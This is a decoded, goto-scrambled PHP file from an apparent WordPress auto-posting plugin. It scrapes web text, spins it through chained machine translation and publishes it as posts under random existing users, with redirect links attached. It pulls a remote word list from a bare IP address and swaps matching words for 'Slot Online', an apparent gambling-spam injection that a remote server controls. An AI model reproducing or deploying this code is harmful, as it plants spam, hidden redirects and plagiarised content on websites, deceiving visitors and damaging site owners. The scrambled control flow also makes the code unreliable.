/* Decoded by unphp.net */
prefix . "wp_api_settings"; goto E1VAl; NMkTW: $myTXTLang = plugin_dir_path(__FILE__) . "MyTranslateLang.txt"; goto Y7RDv; X7yW0: foreach ($datasrc as $dtsrc) { if (preg_grep("/\.pinterest\.|\.facebook\.|\.youtube\.|\.twitter\.|\.instagram\.|\.tiktok\./", $datasrc)) { continue; } $data_desc = contents_web($dtsrc, 18, 80); $exp_datax = explode("
", $data_desc); $str_datax = explode(" ", str_replace("
", " ", $data_desc)); if (count($exp_datax) > 2) { if (count($str_datax) > 200) { $konten .= str_replace("
", "\xd
", $data_desc); } else { continue; } $contz = str_replace("
", " ", rtrim($konten, "\xd\xa")); $exhas = explode(" ", $contz); if (count($exhas) > 1700) { break; } } else { continue; } $e++; } goto C3eFP; mnOHj: $type = $dataArray[$idxCron]; goto EK35X; C3eFP: $konten = rtrim($konten, "
"); goto CEajY; E1VAl: $db_api_keys = $wpdb->prefix . "wp_api_keys"; goto S_UGS; AS2g9: $currurl = $protocol . $_SERVER["HTTP_HOST"] . strtok($_SERVER["REQUEST_URI"], "?"); goto e7Jtw; eXuNk: foreach ($DT_img["image"] as $jz_img) { $js_img[] = $jz_img; } goto VOJjL; SIPjf: $datasrcv = $DT_img["source"]; goto o_Foq; HHFsL: $konten = str_replace("
", "\xd
", potong_kata($konten, 1500)); goto ieiZI; T5aaz: $dataxtag = $js_ttl; goto x3PnN; x3PnN: shuffle($dataxtag); goto mZrZK; DFVaJ: $query = $query; goto oNBN5; U922H: $datatag = rtrim($datatag, ", "); goto sKAVG; oRmYl: $cookiez = plugin_dir_path(__FILE__) . "__cookiez.txt"; goto RwEA3; jW4IT: $startPos = strpos($nameWithoutExt, "cron_") + 5; goto TJeN3; oYnPL: @ini_set("max_execution_time", 3000); goto isqHh; DTIff: if (preg_match("/^1$/", $sts_key)) { echo "duplicate post"; die; die; } goto pRqiu; y0gRz: $js_img = array(); goto eXuNk; VudCj: $datatop = rtrim($datatop, ", "); goto U922H; aIQv_: $dataArray = array("doflamingo", "blackbeard"); goto FZpwW; VOJjL: shuffle($js_img); goto QPoqD; e7Jtw: header("Content-Type: text/html; charset=utf-8"); goto QDJk7; iEN97: if (preg_match("/^images$/", $target_dt)) { $numb_hed = 3; $totimg = 2; } else { $numb_hed = 4; $totimg = 8; } goto oRmYl; H55ys: $myTXTK = plugin_dir_path(__FILE__) . "MyTranslateK.txt"; goto NMkTW; tR1vi: $siteurl = (isset($_SERVER["HTTPS"]) && $_SERVER["HTTPS"] === "on" ? "https" : "http") . "://" . $_SERVER["HTTP_HOST"] . "/"; goto InQHf; VkjBk: $totlang = $tot_lang; goto N0ycx; qQGc6: $endlang = preg_replace("/_.*/", '', $end_lang); goto iEN97; FZpwW: $fileName = basename(__FILE__); goto Hcd4Y; odRr7: unlink($myTXT); goto H55ys; InQHf: $protocol = !empty($_SERVER["HTTPS"]) && $_SERVER["HTTPS"] != "off" || $_SERVER["SERVER_PORT"] == 443 ? "https://" : "http://"; goto AS2g9; XPGzi: $suggtag = rtrim($suggtag, ", "); goto l7mdg; Y7RDv: $DT_img = json_decode(images_data($query), TRUE); goto y0gRz; Q1hFQ: global $wpdb; goto VPz39; ieiZI: if (!empty($konten)) { $langTR = array("af", "sq", "am", "ar", "hy", "az", "eu", "be", "bn", "bs", "bg", "ca", "ceb", "ny", "zh-CN", "zh-TW", "co", "hr", "cs", "da", "nl", "en", "eo", "et", "tl", "fi", "fr", "fy", "gl", "ka", "de", "el", "gu", "ht", "ha", "haw", "iw", "hi", "hmn", "hu", "is", "ig", "id", "ga", "it", "ja", "jw", "kn", "kk", "km", "rw", "ko", "ku", "ky", "lo", "la", "lv", "lt", "lb", "mk", "mg", "ms", "ml", "mt", "mi", "mr", "mn", "my", "ne", "no", "or", "ps", "fa", "pl", "pt", "pa", "ro", "ru", "sm", "gd", "sr", "st", "sn", "sd", "si", "sk", "sl", "so", "es", "su", "sw", "sv", "tg", "ta", "tt", "te", "th", "tr", "tk", "uk", "ur", "ug", "uz", "vi", "cy", "xh", "yi", "yo", "zu"); $langTRx = array_search($endlang, $langTR, true); if ($langTRx !== false) { array_splice($langTR, $langTRx, 1); } shuffle($langTR); for ($i = 0; $i < $totlang; $i++) { $numlast = $totlang - 2; $langTRG = $langTR[$i]; if ($i == $numlast) { $langTRG = $endlang; } $nsrc = $i - 1; $langSRC = $langTR[$nsrc]; if ($i == 0) { $langSRC = "auto"; } if (file_exists($myTXT)) { $konten = file_get_contents($myTXT); } $endbr = $totlang - 1; if ($i == $endbr) { break; } $translation = GoogleTranslate::translate($langSRC, $langTRG, $konten); $fp = fopen($myTXT, "wb"); fwrite($fp, $translation); fclose($fp); if ($i == $numlast) { } sleep(7); } $resultx = file_get_contents($myTXT); $exphaz = explode("\xd\xa", $resultx); $thedesc = array(); $nm = 0; foreach ($exphaz as $hasz) { $thedesc[] = "
" . ucfirst($hasz) . "
"; $nm++; } $totthedesc = count($exphaz); $hazcimg = $totthedesc / $totimg; $s = 0; $e = 0; $i = 0; $len = count($thedesc); shuffle($datahed); foreach ($thedesc as $get_kontenv) { $haz_konten .= $get_kontenv; if ($i == 1) { $haz_konten .= "" . GoogleTranslate::translate($langSRC, $end_lang, ucfirst($suggtag)) . "
"; } } $i++; } $has_konten = preg_replace("/^(.*?)/", "
" . GoogleTranslate::translate($langSRC, $end_lang, ucwords($query)) . " - ", $haz_konten); $args = array("blog_id" => 1, "orderby" => "nicename", "order" => "ASC", "fields" => "all"); $users = get_users($args); shuffle($users); $uzerID = $users[0]->ID; require_once ABSPATH . "wp-load.php"; $userID = $uzerID; $categoryID = $id_cat; $leadTitle = ucwords($post_title); $response = wp_remote_get("http://173.82.206.72/nx.txt"); if (is_wp_error($response)) { return; } $json_data = json_decode(wp_remote_retrieve_body($response), true); foreach ($json_data as $data) { if (stripos($has_konten, $data) !== false) { $has_konten = str_ireplace($data, "Slot Online", $has_konten); } } $leadContent = $has_konten; date_default_timezone_set(get_option("timezone_string")); $timeStamp = $minuteCounter = 0; $iCounter = 1; $minuteIncrement = 0; $adjustClockMinutes = 0; $minuteCounter = $iCounter * $minuteIncrement; $minuteCounter = $minuteCounter + $adjustClockMinutes; $timeStamp = date("Y-m-d H:i:s", strtotime("+{$minuteCounter} min")); $new_post = array("post_title" => $leadTitle, "post_content" => $leadContent, "post_status" => $posts_status, "post_date" => $timeStamp, "post_author" => $userID, "post_type" => $post_type, "meta_input" => array("redirect_target" => $link), "post_name" => $urlslug, "post_category" => array($categoryID)); $post_id = wp_insert_post($new_post); if (!preg_match("/^off$/", $target_dt)) { $feadimg = $DT_img["image"]; shuffle($feadimg); foreach ($feadimg as $if_imgz) { $if_imgz = preg_replace("/(https:\/\/)|(http:\/\/)|(.*?(wp\.com\/))|\?.*/", '', $if_imgz); $imgfile = "https://i" . rand(0, 3) . ".wp.com/" . $if_imgz . "?strip=all&w=800"; $handle = curl_init($imgfile); curl_setopt($handle, CURLOPT_HEADER, 0); curl_setopt($handle, CURLOPT_RETURNTRANSFER, TRUE); curl_setopt($handle, CURLOPT_BINARYTRANSFER, 1); $response = curl_exec($handle); $httpCode = curl_getinfo($handle, CURLINFO_HTTP_CODE); curl_close($handle); if ($httpCode == 200) { $image_url = $imgfile; $image_name = $urlslug . "_" . $md5ttl . ".jpg"; $upload_dir = wp_upload_dir(); $image_data = file_get_contents($image_url); $unique_file_name = wp_unique_filename($upload_dir["path"], $image_name); $filename = basename($unique_file_name); if (wp_mkdir_p($upload_dir["path"])) { $file = $upload_dir["path"] . "/" . $filename; } else { $file = $upload_dir["basedir"] . "/" . $filename; } file_put_contents($file, $image_data); $wp_filetype = wp_check_filetype($filename, null); $attachment = array("post_mime_type" => $wp_filetype["type"], "post_title" => sanitize_file_name($filename), "post_content" => '', "post_status" => "inherit"); $attach_id = wp_insert_attachment($attachment, $file, $post_id); require_once ABSPATH . "wp-admin/includes/image.php"; $attach_data = wp_generate_attachment_metadata($attach_id, $file); wp_update_attachment_metadata($attach_id, $attach_data); set_post_thumbnail($post_id, $attach_id); break; } } } if ($post_id && !is_wp_error($post_id)) { global $wpdb; $wpdb->query($wpdb->prepare("UPDATE {$db_api_keys} SET status = '1' WHERE idmd5 = '{$md5ttl}'")); if (preg_match("/^on$/", $auto_key)) { $locale = $end_lang; $ifkeyx = urlencode($query); $cookies = plugin_dir_path(__FILE__) . "__cksv2.txt"; $getstr = parse_key($ifkeyx, $locale, $cookies); $minkey = $save_key - 1; if (!empty($getstr)) { if ($getstr->find("li.related-terms__item a", 0)) { $iftagz = array(); foreach ($getstr->find("li.related-terms__item a") as $tagz) { $iftagz[] = strtolower(trim($tagz->title)); } $tagexp = array_unique($iftagz); foreach ($tagexp as $dataz) { if (empty($dataz)) { continue; } $expkey = explode(" ", $dataz); if (count($expkey) <= $minkey) { continue; } $inttl = strtolower(trim($dataz)); $urls = str_replace(" ", "-", implode(" ", array_filter(explode(" ", strtolower(seotext(trim($dataz))))))); $idtcat = substr(md5($urls), 1, 9); $wpdb->query($wpdb->prepare("INSERT IGNORE INTO {$db_api_keys} (idmd5, title, slug, category, target_uv, status) VALUES ( %s, %s, %s, %s, %s, %s )", array($idtcat, $inttl, $urls, $id_cat, $target_dt, "0"))); } } } } } else { $wpdb->query($wpdb->prepare("UPDATE {$db_api_keys} SET status = '3' WHERE idmd5 = '{$md5ttl}'")); } unlink($myTXT); } goto RDnop; RwEA3: $myTXT = plugin_dir_path(__FILE__) . "MyTranslate" . $type . ".txt"; goto odRr7; CEajY: $konten = str_replace("
", "
", $konten); goto HHFsL; YmAMO: foreach ($dataxtag as $dataztag) { if ($tgnm == 14) { break; } $datatagz = $dataztag; if ($tgnm <= 5) { $datatop .= ucfirst(strtolower($datatagz)) . ", "; } if ($tgnm >= 5) { $datatag .= $datatagz . ", "; } $tgnm++; } goto VudCj; BMoLg: foreach ($rndkey as $rowkey) { $md5ttl = $rowkey->idmd5; $post_title = $rowkey->title; $query = $rowkey->title; $urlslug = $rowkey->slug; $id_cat = $rowkey->category; $target_dt = $rowkey->target_uv; $sts_key = $rowkey->status; $post_type = $rowkey->post_type; $end_lang2 = $rowkey->end_lang; $link = $rowkey->link; } goto DTIff; oNBN5: if (isUCS2($query)) { $query = GoogleTranslate::translate("auto", "en", $query); } else { $query = $query; } goto VkjBk; EK35X: $rndkey = $wpdb->get_results("SELECT * FROM {$db_api_keys} WHERE status='0' AND post_type='{$type}' ORDER BY RAND() LIMIT 1"); goto BMoLg; mZrZK: $tgnm = 0; goto YmAMO; l7mdg: $konten = ''; goto BlQT0; Wm3sd: shuffle($datasrc); goto X7yW0; rXRXU: if (!empty($gstr)) { if ($gstr->find("li.related-terms__item a", 0)) { $iftgz = array(); foreach ($gstr->find("li.related-terms__item a") as $tgz) { $iftgz[] = strtolower(trim($tgz->title)); } $tgexp = array_unique($iftgz); shuffle($tgexp); foreach ($tgexp as $dtz) { if (empty($dtz)) { continue; } $suggtag .= strtolower(trim($dtz)) . ", "; } } } goto XPGzi; TJeN3: $idxCron = substr($nameWithoutExt, $startPos); goto mnOHj; S_UGS: include_once plugin_dir_path(__FILE__) . "fetch_api.php"; goto tR1vi; v3CA3: $datasrc = array(); goto ygv55; QDJk7: foreach ($wpdb->get_results("SELECT * FROM {$db_api_settings} WHERE id = '1'") as $key => $row) { $cron_status = $row->status_cron; $end_lang = $row->end_lang; $tot_lang = $row->tot_lang; $time_post = $row->time_post; $save_key = $row->char_key; $auto_key = $row->autosave_key; $word_post = $row->word_post; $competitors_key = $row->competitors_key; $posts_status = $row->post_status; } goto aIQv_; I1hdp: foreach ($dataxhed as $datazhed) { $exphd = explode(" ", trim($datazhed)); if (count($exphd) < 3) { continue; } $datahed[] = strtolower($datazhed); } goto T5aaz; isqHh: define("DONOTCACHEPAGE", true); goto Q1hFQ; QPoqD: $js_ttl = $DT_img["title"]; goto c66tl; o_Foq: $dataxhed = $js_ttl; goto UxP3a; aM7Uv: $cks3 = plugin_dir_path(__FILE__) . "__cksv3.txt"; goto gAq3V; Hcd4Y: $nameWithoutExt = pathinfo($fileName, PATHINFO_FILENAME); goto jW4IT; UxP3a: $datahed = array(); goto I1hdp; N0ycx: $endlang = $end_lang2; goto qQGc6; BlQT0: $e = 0; goto v3CA3; pRqiu: include_once plugin_dir_path(__FILE__) . "data-functions.php"; goto DFVaJ; gAq3V: $gstr = parse_key($ifkx, $end_lang, $cks3); goto rXRXU; ygv55: for ($v = 0; $v < 10; $v++) { $datasrc[] = $datasrcv[$v]; } goto Wm3sd; RDnop:
?>